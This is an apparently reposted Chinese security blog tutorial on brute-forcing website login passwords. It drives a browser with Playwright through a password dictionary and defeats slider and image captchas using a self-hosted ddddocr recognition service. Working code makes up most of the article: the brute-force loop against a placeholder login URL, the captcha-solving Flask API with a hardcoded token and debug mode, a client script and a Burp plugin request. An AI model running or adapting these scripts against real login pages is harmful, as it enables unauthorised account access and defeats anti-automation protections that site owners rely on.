基于浏览器的口令暴破与图形验证码识别

0x01 前言

随着网络安全水平的发展,越来越多的网站增加了RSA加密、图形验证码等防护手段,传统的口令暴破方式已捉襟见肘,如果高效、低代码的进行口令暴破?本文将介绍一个操作浏览器进行口令暴破的案例与验证码识别工具。

0x02 Playwright:浏览器自动化工具

Playwright是一个强大的Python库,仅用一个API即可自动执行Chromium、Firefox、WebKit等主流浏览器自动化操作,并同时支持以无头模式、有头模式运行。相比传统的“selenium”等工具,他可以录制我们对浏览器的操作并自动生成脚本,同时代码也是非常简单,与我们高效工作的目标非常契合。

0x03 Playwright:滑动验证码案例

生成登录流程代码

安装playwright后,运行下面命令进行录制浏览器操作,并生成代码:


        
 `python -m playwright codegen` 
 


      

picture.image

输入目标URL并回车,可以看到自动生成了代码:

picture.image

输入账号、密码,点击验证码,然后点击登录。录制过程中并不能拖动滑块,所以无法生成滑块的代码,登录操作其余的大部分代码均已生成,也可以看到其代码是非常简单的:

picture.image

修改为暴破脚本


        
  `from playwright.sync_api import Playwright, sync_playwright`
  `# chrome的路径`
  `chromepath = r"chromium-939194\chrome-win\chrome.exe"`
  `from time import sleep`
 
 
 
  `def readpasswd(filename):`
  `fp = open(r"password.txt", 'r', encoding='utf-8')`
  `return fp`
 
 
  `def run(playwright: Playwright) -> None:`
  `browser = playwright.chromium.launch(executable_path=chromepath, headless=False)`
  `context = browser.new_context()`
 
 
  `# Open new page`
  `page = context.new_page()`
  `fp = readpasswd(1)`
  `username = 'admin'`
  `# 循环读取字典暴破`
  `for passwd in fp:`
  `page.goto("http://xxx.xxx.xxx.xxx/login.html")`
 
 
  `# Click input[name="userName"]`
  `page.click("input[name=\"userName\"]")`
 
 
  `# Fill input[name="userName"]`
  `page.fill("input[name=\"userName\"]", username)`
 
 
  `# Click input[name="password"]`
  `page.click("input[name=\"password\"]")`
 
 
  `# Fill input[name="password"]`
  `page.fill("input[name=\"password\"]", passwd)`
  `# Click text=/.*\>\>.*/`
  `# 滑动解锁代码`
  `s = page.wait_for_selector("text=/.*\\>\\>.*/")`
  `box = s.bounding_box()`
  `page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)`
  `page.mouse.down()`
  `# for i in range(10):`
  `page.mouse.move(box["x"]+520,box["width"]/2, steps=10)`
 
 
  `# Click text=登录`
  `page.mouse.up()`
  `page.click("text=登录")`
  `sleep(1)`
  `response_html = page.content()`
  `print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')`
 
 
  `# ---------------------`
  `context.close()`
  `browser.close()`
 
 
  `with sync_playwright() as playwright:`
  `run(playwright)`
 
 


      

运行效果如下,通过页面长度、标题等输出信息可大致判断是否暴破成功:

picture.image

0x04 ddddocr:Python验证码识别库

ddddocr是Python的一个OCR通用验证码识别SDK,可离线识别验证码。项目地址:https://github.com/sml2h3/ddddocr。

为了方便使用这个验证码识别工具,我写了个简单的web api来方便远程调用验证码识别服务:


        
  `### 保存以下代码为py文件,在服务器或者本地运行(需安装好ddddocr库)。`
  `from flask import Flask`
  `from flask import request, abort`
  `import base64`
  `import traceback`
  `import sys`
  `from os.path import join, abspath, dirname`
  `import ddddocr`
  `app = Flask(__name__)`
  `token = 'fbc3a282fd5ed254e54d2260607a1360'`
  `@app.route('/', methods=['GET', 'POST'])`
  `def index():`
  `res = ''`
  `if request.method == 'POST':`
  `usertoken = request.form.get('token')`
  `img = request.form.get('b64img')`
  `if token != usertoken:`
  `return 'token error!', 403`
  `else:`
  `try:`
  `content = base64.b64decode(img.encode('utf-8'))`
  `res = classfifyCode(content)`
  `except:`
  `traceback.print_exc()`
  `res = ''`
  `return res, 200`
  `def classfifyCode(image):`
  `ocr = ddddocr.DdddOcr()`
  `res = ocr.classification(image)`
  `return res`
  `def main():`
  `app.run(host='0.0.0.0', port=50000, debug=True)`
  `if __name__ == "__main__":`
  `main()`
 


      

调用示例如下:


        
  `import requests`
  `import base64`
  `# 获取验证码图片`
  `r = requests.get('http://xxx.xxx.xxx/code.php')`
  `img = r.content`
  `b64img = base64.b64encode(img).decode('utf-8')`
  `token = 'fbc3a282fd5ed254e54d2260607a1360'`
  `data = {`
  `'token': token,`
  `'b64img': b64img`
  `}`
  `# 验证码识别服务器url`
  `r2 = requests.post('http://127.0.0.1:50000', data=data)`
  `print(r2.text, r.status_code)`
 


      

这里随便找了个图形验证码测试,能正常检测出来,而且速度非常快:

picture.image

既然验证码识别的问题解决了,后面就是根据我们的实际需要去编写脚本或者集成到已有工具中了,非常简单。

下面补充一个burpsuite验证码识别插件“captcha-killer”调用该接口的案例:

captcha-killer:https://github.com/c0ny1/captcha-killer


        
  `POST / HTTP/1.1`
  `Host: 127.0.0.1:50000`
  `User-Agent: python-requests/2.26.0`
  `Accept-Encoding: gzip, deflate`
  `Accept: */*`
  `Connection: close`
  `Content-Length: 2776`
  `Content-Type: application/x-www-form-urlencoded`
 
 
  `token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW></@IMG_RAW></@BASE64></@URLENCODE>`
 


      

picture.image

0x05 小结

本文介绍了浏览器自动化工具Playwright、验证码识别库ddddocr以及滑动验证码的暴破案例,如果遇到图形验证码的站点,只需要把滑动验证码的代码修改为调用ddddocr接口即可,相信聪明的读者们一定可以做到,就不重复赘述。

最后,感谢以下开源项目:

https://github.com/microsoft/playwright-python

https://github.com/sml2h3/ddddocr

https://github.com/c0ny1/captcha-killer


        
            

          原文链接:https://www.freebuf.com/articles/web/332744.html
        
      

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
评论
未登录
暂无评论